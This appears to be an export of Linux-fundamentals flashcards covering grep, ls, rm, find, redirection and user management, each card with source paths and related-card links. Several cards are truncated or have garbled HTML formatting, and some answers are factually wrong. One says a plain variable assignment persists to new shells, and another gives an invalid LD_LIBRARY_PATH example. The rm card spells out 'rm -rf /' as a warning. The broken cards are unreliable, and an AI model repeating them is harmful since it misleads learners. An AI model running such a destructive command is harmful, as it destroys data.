Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you get help on the command line?]]
* [[You run grep $(whoami) /etc/passwd but the output is empty. What might be a possible re…]]
* [[What is the PATH variable?]]
<html><code>cat</code></html> is short for concatenate. Originally designed to join multiple files end-to-end and write the result to stdout, it is most commonly used in practice to display the contents of a single file.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is the `paste` command?]]
* [[What does `tee` do?]]
Q: How do I grep recursively?
A: Use <html><code>grep -r</code></html> (or <html><code>grep -rn</code></html> to include line numbers). Examples: <html><code>grep -r 'pattern' /path/to/dir</code></html> searches all files recursively. <html><code>grep -rn 'TODO' .</code></html> shows matches with line numbers. <html><code>grep -rl 'pattern' .</code></html> lists only filenames.
Remember: grep = Global Regular Expression Print. <html><code>-r</code></html> recursive, <html><code>-i</code></html> insensitive, <html><code>-n</code></html> line numbers.
Example: <html><code>grep -rn 'ERROR' /var/log/</code></html> — recursive with line numbers.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you search for a specific string within a file?]]
* [[What does `grep -r` do?]]
* [[Is there an easy way to search inside 1000s of files in a complex directory structure t…]]
Q: How do you find a text string in files on Linux?
A: Using the grep command (e.g., grep "search_term" filename).
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Is there an easy way to search inside 1000s of files in a complex directory structure t…]]
* [[How to check if a string contains a substring in Bash?]]
* [[What is `grep` command? How to match multiple strings in the same line?]]
Q: Create a file with 100 lines with random values.
A: For example:
<html><pre><code class="language-bash">cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 100 > /path/to/file</code></pre></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How to generate a random string of 7 characters?]]
* [[How to create a file of a certain size?]]
Q: What happens when you execute ls -l *.log?
A: The shell expands *.log before ls runs:
# Shell glob expansion:
** Shell finds all files matching *.log
** Replaces *.log with list of filenames
** ls sees: ls -l file1.log file2.log file3.log
# If no matches:
** Default: literal "*.log" passed to ls
** With nullglob: empty string (no argument)
** ls may error or show nothing
# ls execution:
** Receives expanded filenames
** Calls stat() on each file
** Displays long format info
Key point: Glob expansion happens in shell, not in ls.
* ls never sees the asterisk
* Shell does pattern matching before exec
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What happens when you execute ls -l?]]
* [[What is shell globbing and how does pattern matching work?]]
* [[How do you list all files, including hidden ones?]]
Q: Explain each field in the output of <html><code>ls -l</code></html> command
A: It shows a detailed list of files in a long format. From the left:
* file permissions, number of links, owner name, owner group, file size, timestamp of last modification and directory/file name
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[ls command: list directory contents]]
* [[GNU ls accepts 60+ options, most users know only five]]
* [[What system call is used for listing files?]]
Q: What does the following block do?:
A: These system calls are reading the file <html><code>/my/file</code></html> and 5 is the file descriptor number.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[File descriptor in Linux/Unix]]
* [[Explain Linux I/O redirection]]
* [[Explain the pipe() system call. What does it used for?]]
Q: You would like to copy a file to a remote Linux host. How would you do?
A: There are multiple ways to transfer files between hosts. Personal opinion: use <html><code>rsync</code></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does "rsync" stand for?]]
Q: What command creates a new directory?
A: <html><code>mkdir</code></html>. Use <html><code>-p</code></html> to create parent directories as needed (e.g., <html><code>mkdir -p /opt/app/logs</code></html>). Without <html><code>-p</code></html>, it errors if the parent doesn't exist.
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What command removes an empty directory?]]
* [[How do you move up one directory level?]]
<html><code>/etc/skel</code></html> is a skeleton directory on Linux systems whose contents are automatically copied into a new user's home directory when the account is created via <html><code>useradd</code></html>. It provides a standardized baseline for every new user without requiring manual setup per account.
Typical contents include default dotfiles such as <html><code>.bashrc</code></html>, <html><code>.profile</code></html>, and <html><code>.bash_logout</code></html>. System administrators customize <html><code>/etc/skel</code></html> to enforce site-wide shell configuration, environment defaults, or directory structures that every new user should start with.
Because the files are copied (not symlinked) at creation time, subsequent changes to <html><code>/etc/skel</code></html> do not affect existing home directories — only newly created accounts receive the updated skeleton.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[/etc directory purpose and conventions]]
* [[What is the home directory subdirectory used for?]]
Q: The program returns the error of the missing library. How to provide dynamically linkable libraries?
A: Environment variable <html><code>LD_LIBRARY_PATH</code></html> is a colon-separated set of directories where libraries should be searched for first, before the standard set of directories; this is useful when debugging a new library or using a nonstandard library for special purposes.
The best way to use <html><code>LD_LIBRARY_PATH</code></html> is to set it on the command line or script immediately before executing the program. This way the new <html><code>LD_LIBRARY_PATH</code></html> isolated from the rest of your system.
Example of use:
<html><pre><code class="language-bash">export LD_LIBRARY_PATH="/list/of/library/paths:/another/path" ./program</code></pre></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is LD_LIBRARY_PATH?]]
* [[Global LD_LIBRARY_PATH breaks system tools by shadowing core libraries]]
* [[How to find out the dynamic libraries executables loads when run?]]
Q: What command removes an empty directory?
A: <html><code>rmdir</code></html>. It only removes empty directories — fails if the directory has contents. Use <html><code>rm -r</code></html> to recursively remove a directory and its contents.
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[`rm` vs `rm -rf`: behavior and dangers]]
* [[Describe three different ways to remove a file or directory]]
* [[What is the easiest, safest and most portable way to remove `-rf` directory entry?]]
Q: You have to find all files larger than 20MB. How you do it?
A: <html><pre><code class="language-bash">find / -type f -size +20M</code></pre></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How would you check what is the size of a certain directory?]]
* [[Use find -delete instead of rm -rf * for millions of files]]
* [[List three ways to print all the files in the current directory]]
Q: What is the difference between <html><code>rm</code></html> and <html><code>rm -rf</code></html>, and why is <html><code>rm -rf</code></html> dangerous?
A: <html><code>rm</code></html> deletes only the explicitly named files and refuses to remove directories. <html><code>rm -rf</code></html> extends this with two flags:
* <html><code>-r</code></html> / <html><code>-R</code></html> / <html><code>--recursive</code></html>: descends into directories, removing all contents including hidden files and subdirectories.
* <html><code>-f</code></html> / <html><code>--force</code></html>: suppresses prompts and ignores nonexistent files, bypassing any confirmation safeguards.
Combined, <html><code>rm -rf</code></html> will silently and permanently delete an entire directory tree with no undo. There is no trash or recovery mechanism; the data is gone immediately.
Safe-use practices:
* Test destructive commands with <html><code>echo</code></html> prefixed or <html><code>--dry-run</code></html> (where supported) before executing.
* Double-check the target path, especially when using shell variables (e.g., <html><code>rm -rf $DIR/</code></html> where <html><code>$DIR</code></html> is empty collapses to <html><code>rm -rf /</code></html>).
* Consult <html><code>man rm</code></html> for platform-specific flag behavior.
Unix philosophy note: <html><code>rm</code></html> does one thing well; compose carefully with pipes and variables to avoid unintended targets.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is the easiest, safest and most portable way to remove `-rf` directory entry?]]
* [[Unset shell variables in destructive commands expand to dangerous paths]]
* [[Describe three different ways to remove a file or directory]]
Q: What is escaping? What escape character is used for?
A: Escaping prevents the shell from interpreting special characters.
The backslash (\) is the escape character:
* \$ - Literal dollar sign
* \\ - Literal backslash
*
* Newline (in echo -e)
* \" - Literal quote inside double quotes
Examples:
* echo \$HOME → $HOME (literal)
* echo "He said \"hello\"" → He said "hello"
* touch file\ name.txt → Creates "file name.txt"
Within single quotes, no escaping needed (all literal).
Within double quotes, escape \, $, `, ", !
Remember: sed = Stream EDitor. <html><code>s/old/new/g</code></html> — s=substitute, g=global. <html><code>-i</code></html> = in-place.
Example: <html><code>sed -i 's/old/new/g' file.txt</code></html>. <html><code>-i.bak</code></html> creates backup first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the difference between single and double quotes?]]
* [[How do you perform a basic sed substitution?]]
Q: What is the difference between man and info?
A: <html><code>man</code></html> provides concise reference pages organized by sections (1=commands, 5=file formats, 8=admin). <html><code>info</code></html> provides longer, hyperlinked tutorials in a Texinfo format with navigation between nodes. In practice, most people use <html><code>man</code></html>. Some GNU tools (like <html><code>coreutils</code></html>) have more detailed <html><code>info</code></html> pages than their <html><code>man</code></html> pages.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the `info` command?]]
* [[Why are there different sections in man? What is the difference?]]
* [[What does the man command provide?]]
Q: How do you create an empty file or update its timestamp?
A: <html><code>touch</code></html>. Creates the file if it doesn't exist; updates atime/mtime if it does. Commonly used to create empty marker/lock files or trigger build systems.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What ways are there for creating a new empty file?]]
* [[What does `touch` actually do?]]
* [[How could you modify a text file without invoking a text editor?]]
Q: Where are repositories stored (based on the distribution)?
A: Repository configuration locations:
RHEL/Fedora/CentOS:
* /etc/yum.repos.d/*.repo
* Contains: baseurl, gpgcheck, enabled
* dnf config-manager --add-repo URL
Debian/Ubuntu:
* /etc/apt/sources.list
* /etc/apt/sources.list.d/*.list
* Format: deb URL distribution components
* add-apt-repository for PPAs
SUSE:
* /etc/zypp/repos.d/
* zypper addrepo
After changes:
* yum/dnf: Automatic refresh
* apt: apt update required
Remember: sed = Stream EDitor. <html><code>s/old/new/g</code></html> — s=substitute, g=global. <html><code>-i</code></html> = in-place.
Example: <html><code>sed -i 's/old/new/g' file.txt</code></html>. <html><code>-i.bak</code></html> creates backup first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Where are yum/dnf repository definitions stored?]]
* [[Where are apt repository definitions stored?]]
* [[Linux package management: RPM and DEB ecosystems]]
Q: What each of the following matches
A: * The ? matches any single character
// The // matches zero or more characters
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[[[Explain what will ls [XYZ] match]]]]
* [[[[Explain what will ls [0-5] match]]]]
* [[How to check if a string contains a substring in Bash?]]
Q: How to create your own environment variables?
A: <html><code>X=2</code></html> for example. But this will persist to new shells. To have it in new shells as well, use <html><code>export X=2</code></html>
Remember: <html><code>export VAR=val</code></html> for child processes. Without export = current shell only.
Gotcha: .bashrc=interactive shells, .bash_profile=login shells. Source of confusion.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Explain environment variables. How do you list all of them?]]
Q: How could you modify a text file without invoking a text editor?
A: For example:
<html><pre><code class="language-bash"># cat >filename ... - overwrite file
# cat >>filename ... - append to file
cat > filename << __EOF__
data
__EOF__</code></pre></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What ways are there for creating a new empty file?]]
* [[How to follow file's content as it being appended without opening the file every time?]]
* [[How to rename the name of a file or a directory?]]
Q: What exactly does the command alias x=y do?
A: alias x=y creates a shell shortcut where typing 'x' expands to 'y'.
Behavior:
* When you type 'x', shell replaces it with 'y'
* Only works in interactive shells
* Doesn't work in scripts (by default)
Examples:
* alias ll='ls -la'
* alias grep='grep --color=auto'
* alias k='kubectl'
Properties:
* Aliases don't take arguments in the middle
* Checked before command lookup
* Can be overridden with \x or command x
Persistence:
* Add to ~/.bashrc or ~/.bash_aliases
* Source file or restart shell
Management:
* alias - List all aliases
* alias x - Show specific alias
* unalias x - Remove alias
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the `alias` command?]]
* [[How do you create a shortcut for a complex command in Bash?]]
* [[How can you check what is the path of a certain command?]]
Q: How <html><code>cd -</code></html> works? How does it knows the previous location?
A: The shell stores the previous directory in the <html><code>$OLDPWD</code></html> environment variable. <html><code>cd -</code></html> is shorthand for <html><code>cd $OLDPWD</code></html> and prints the path it switches to.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you move up one directory level?]]
* [[What each of the following commands does?]]
* [[What is the HOME variable?]]
Q: What does cd ~ accomplish?
A: It returns the user to their home directory.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the HOME variable?]]
* [[How do you move up one directory level?]]
* [[What each of the following commands does?]]
Q: How can you send an HTTP request from your shell?
A: Use <html><code>nc</code></html> (netcat) to send raw HTTP requests: `echo -e 'GET / HTTP/1.1\r
Host: example.com\r
\r
' | nc example.com 80<html><code>. More commonly, use </code></html>curl<html><code> for HTTP requests: </code></html>curl -v https://example.com<html><code>. Also available: </code></html>wget<html><code> for downloads, </code></html>httpie<html><code> (http command) for a user-friendly CLI. Gotcha: </code></html>nc` requires manual HTTP formatting including carriage returns.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
The <html><code>ls</code></html> command (short for "LiSt") lists the contents of a directory — files and folders — defaulting to the current working directory. It is one of the most frequently used shell commands for navigating a filesystem.
Key facts:
* Abbreviation: "LiSt"
* Default target: current working directory
* Output: filenames of files and subdirectories present in the target directory
Related reference: <html><code>man</code></html> page sections — 1 = user commands, 5 = file formats, 8 = admin/system commands. Example: <html><code>man 5 passwd</code></html> shows the <html><code>/etc/passwd</code></html> file format, not the <html><code>passwd</code></html> command.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Explain each field in the output of `ls -l` command]]
* [[Some of the commands in the previous question can be run with the -r/-R flag. What does…]]
* [[What system call is used for listing files?]]
Q: The Junior dev accidentally destroyed production database. How can you prevent such situations?
A: Prevent production disasters with layered safeguards:
# ''Access control'': Restrict prod DB access to senior engineers. Use separate credentials per environment
# ''Backups & tested restores'': Regular automated backups with periodic restore tests. Snapshots before changes
# ''Environment isolation'': Separate dev/test/prod with different auth credentials. Never develop against prod
# ''Disaster recovery plan'': Documented DR procedures with a backup datacenter or failover region
# ''Replication with delay'': Slightly delayed replicas give a window to catch destructive mistakes
# ''Post-mortems'': Document incidents to prevent recurrence. Focus on systemic fixes, not blame
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Operational shortcuts in Linux escalate to severe incidents]]
* [[Root cause: destructive commands on wrong target destroy data]]
Q: How to add new user without using <html><code>useradd</code></html>/<html><code>adduser</code></html> commands?
A: 1. Add an entry of user details in <html><code>/etc/passwd</code></html> with <html><code>vipw</code></html>:
<html><pre><code class="language-bash"># username:password:UID:GID:Comments:Home_Directory:Login Shell
user:x:501:501:test user:/home/user:/bin/bash</code></pre></html>
> Be careful with the syntax. Do not edit directly with an editor. <html><code>vipw</code></html> locks the file, so that other commands won't try to update it at the same time.
# You will have to create a group with same name in <html><code>/etc/group</code></html> with <html><code>vigr</code></html> (similar tool for <html><code>vipw</code></html>):
<html><pre><code class="language-bash">user:x:501:</code></pre></html>
# Assign a password to the user:
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Do you know how to create a new user without using adduser/useradd command?]]
* [[How to add a new user to the system without providing a password?]]
* [[Standardized user onboarding with scripted account creation and setup]]
Q: Demonstrate Linux output redirection
A: <html><code>ls > ls_output.txt</code></html> redirects stdout to a file, overwriting its contents. Key operators: <html><code>></code></html> overwrites, <html><code>>></code></html> appends, <html><code>2></code></html> redirects stderr, <html><code>&></code></html> redirects both stdout and stderr.
Example: <html><code>find / -name '*.conf' 2>/dev/null</code></html> suppresses permission errors. Mnemonic: one arrow overwrites, two arrows append.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[Explain Linux I/O redirection]]
* [[How to redirect stderr and stdout to different files in the same line?]]
* [[Demonstrate Linux stderr to stdout redirection]]
Q: How would you split a 50 lines file into 2 files of 25 lines each?
A: You can use the <html><code>split</code></html> command this way: <html><code>split -l 25 some_file</code></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you view the first 10 lines of a file?]]
* [[How do you view the last 10 lines of a file?]]
* [[[[Explain what will ls [0-5] match]]]]
Q: How to read a file line by line and assigning the value to a variable?
A: For example:
<html><pre><code class="language-bash">while IFS='' read -r line || ~[[ -n "$line" ]] ; do
echo "Text read from file: $line"
done < "/path/to/filename"</code></pre></html>
Explanation:
* <html><code>IFS=''</code></html> (or <html><code>IFS=</code></html>) prevents leading/trailing whitespace from being trimmed.
* <html><code>-r</code></html> prevents backslash escapes from being interpreted.
* <html><code>|| ~[[ -n $line ]]</code></html> prevents the last line from being ignored if it doesn't end with a `
` (since read returns a non-zero exit code when it encounters EOF).
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you view the first 10 lines of a file?]]
* [[[[Explain what will ls [XYZ] match]]]]
* [[How do you search for a specific string within a file?]]
Q: How to check what is the hostname of the system?
A: <html><code>cat /etc/hostname</code></html>
You can also run <html><code>hostnamectl</code></html> or <html><code>hostname</code></html> but that might print only a temporary hostname. The one in the file is the permanent one.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is the `hostnamectl` command?]]
* [[What is `/etc/hostname`?]]
* [[What is the .bashrc file?]]
Q: How to find files that have been modified on your system in the past 60 minutes?
A: <html><pre><code class="language-bash">find / -mmin -60 -type f</code></pre></html>
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[You have to find all files larger than 20MB. How you do it?]]
Q: How do you move up one directory level?
A: <html><code>cd ..</code></html> — the double dot <html><code>..</code></html> is a special directory entry pointing to the parent. Every directory has it (even <html><code>/</code></html>, where <html><code>..</code></html> points to itself).
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How `cd -` works? How does it knows the previous location?]]
* [[What does cd ~ accomplish?]]
* [[What each of the following commands does?]]
Q: What defines a "senior" Linux engineer?
A: Not years of experience - demonstrated capabilities:
''Failure prediction'':
* Sees problems before they happen
* Understands failure modes
* Designs for resilience
''Blast radius control'':
* Knows what could break from any change
* Tests changes incrementally
* Has rollback plans ready
''Knowing when NOT to act'':
* Resists urge to "fix" working systems
* Asks questions before changing
* Documents understanding before touching
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What is a CLI? Tell me about your favorite CLI tools, tips, and hacks.]]
* [[What do > and < do in terms of input and output for programs?]]
* [[Operational shortcuts in Linux escalate to severe incidents]]
Q: Explain what each of the following commands does:
A: <html><code>useradd</code></html> - Command for creating new users
<html><code>usermod</code></html> - Modify the users setting
<html><code>whoami</code></html> - Outputs, the username that we are currently logged in
<html><code>id</code></html> - Prints the
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What each of the following commands does?]]
Q: True or False? Directories always have by minimum 2 links
A: True. Every directory has at least 2 hard links: its entry in the parent directory, and the <html><code>.</code></html> entry inside itself. Each subdirectory adds another link via its <html><code>..</code></html> entry.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[True or False? You can create an hard link for a directory]]
* [[How do you move up one directory level?]]
* [[True or False? You can create a soft link between different filesystems.]]
Q: Is there a way to redirect output to a file and have it display on stdout?
A: The command you want is named tee:
<html><code>foo | tee output.file</code></html>
For example, if you only care about stdout:
<html><code>ls -a | tee output.file</code></html>
If you want to include stderr, do:
<html><code>program [arguments...] 2>&1 | tee outfile</code></html>
<html><code>2>&1</code></html> redirects channel 2 (stderr/standard error) into channel 1 (stdout/standard output), such that both is written as stdout. It is also directed to the given output file as of the tee command.
Furthermore, if you want to append to the log file, use <html><code>tee -a</code></html> as:
<html><code>program [arguments...] 2>&1 | tee -a outfile</code></html>
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How to redirect stderr and stdout to different files in the same line?]]
* [[What does `tee` do?]]
* [[Demonstrate Linux output redirection]]
Q: What command finds files by name in a directory tree?
A: <html><code>find</code></html>. Examples: <html><code>find /var -name '*.log'</code></html> by name, <html><code>find / -size +100M</code></html> by size, <html><code>find . -mtime -1</code></html> modified in last day. Combine with <html><code>-exec</code></html> to act on results.
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How does `find -exec` work?]]
* [[GNU ls accepts 60+ options, most users know only five]]
* [[What is the difference between find and locate?]]
Q: Name 5 commands which are two letters long
A: Common two-letter commands: ls (list), wc (word count), dd (disk dump), df (disk free), du (disk usage), ps (processes), ip (network config), cp (copy), cd (change directory), mv (move), rm (remove), ln (link). These short names follow Unix philosophy of brevity — frequently used commands get the shortest names.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[GNU ls accepts 60+ options, most users know only five]]
* [[Name at least five attributes every Linux process has.]]
* [[Explain each field in the output of `ls -l` command]]
Q: How to count the number of lines in a file? What about words?
A: For these we can use <html><code>wc</code></html> command.
# To count the number of lines in file
``<html><code>wc -l<html><pre><code class="language-plaintext">
2. To count the number of words in file</code></pre></html>wc -w</code></html>``
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does `wc` do?]]
* [[How do you view the first 10 lines of a file?]]
* [[How do you view the last 10 lines of a file?]]
Q: How do you count occurrences of a word in a file using command-line tools?
A: <html><code>grep -o -w "word" file | wc -l</code></html> — <html><code>-o</code></html> prints each match on its own line, <html><code>-w</code></html> matches whole words only.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `wc` do?]]
* [[What does `grep -c` do?]]
* [[How do you search for a specific string within a file?]]
Q: What is special about the /tmp directory when compared to other directories?
A: <html><code>/tmp</code></html> folder is cleaned automatically, usually upon reboot.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[/tmp persistence varies by distribution — no guarantee across reboot]]
* [[True or False? both /tmp and /var/tmp cleared upon system boot]]
* [[What is the purpose of /run?]]
Q: What ways are there for creating a new empty file?
A: * touch new_file
* echo "" > new_file
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How do you create an empty file or update its timestamp?]]
* [[How to create a file of a certain size?]]
* [[How could you modify a text file without invoking a text editor?]]
Q: Some of the commands in the previous question can be run with the -r/-R flag. What does it do? Give an example to when you would use it
A: The -r (or -R in some commands) flag allows the user to run a certain command recursively. For example, listing all the files under the following tree is possible when done recursively (<html><code>ls -R</code></html>):
/dir1/
dir2/
file1
file2
dir3/
file3
To list all the files, one can run <html><code>ls -R /dir1</code></html>
Remember: Man sections: 1=commands, 5=file formats, 8=admin. <html><code>man 5 passwd</code></html> = file format.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does `grep -r` do?]]
* [[ls command: list directory contents]]
* [[Explain each field in the output of `ls -l` command]]
Q: How can I sync two local directories?
A: To sync the contents of ''dir1'' to ''dir2'' on the same system, type:
<html><pre><code class="language-bash">rsync -av --progress --delete dir1/ dir2</code></pre></html>
* <html><code>-a</code></html>, <html><code>--archive</code></html> - archive mode
* <html><code>--delete</code></html> - delete extraneous files from dest dirs
* <html><code>-v</code></html>, <html><code>--verbose</code></html> - verbose mode (increase verbosity)
* <html><code>--progress</code></html> - show progress during transfer
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[What does "rsync" stand for?]]
* [[You would like to copy a file to a remote Linux host. How would you do?]]
* [[How do you move up one directory level?]]
Q: How do you view the first 10 lines of a file?
A: <html><code>head</code></html>. By default shows first 10 lines. Use <html><code>-n 20</code></html> for 20 lines, or <html><code>-c 100</code></html> for first 100 bytes. Pairs with <html><code>tail</code></html> for viewing file ends.
Remember: Unix philosophy: one thing well, compose with pipes. <html><code>man cmd</code></html> is your friend.
Gotcha: Test destructive commands with echo or --dry-run first.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-fundamentals.tsv</code></html>
''Related atoms''
* [[How to follow file's content as it being appended without opening the file every time?]]
* [[How to print every line that is longer than 79 characters?]]
* [[How to count the number of lines in a file? What about words?]]
Q: How do you view the last 10 lines of a file?
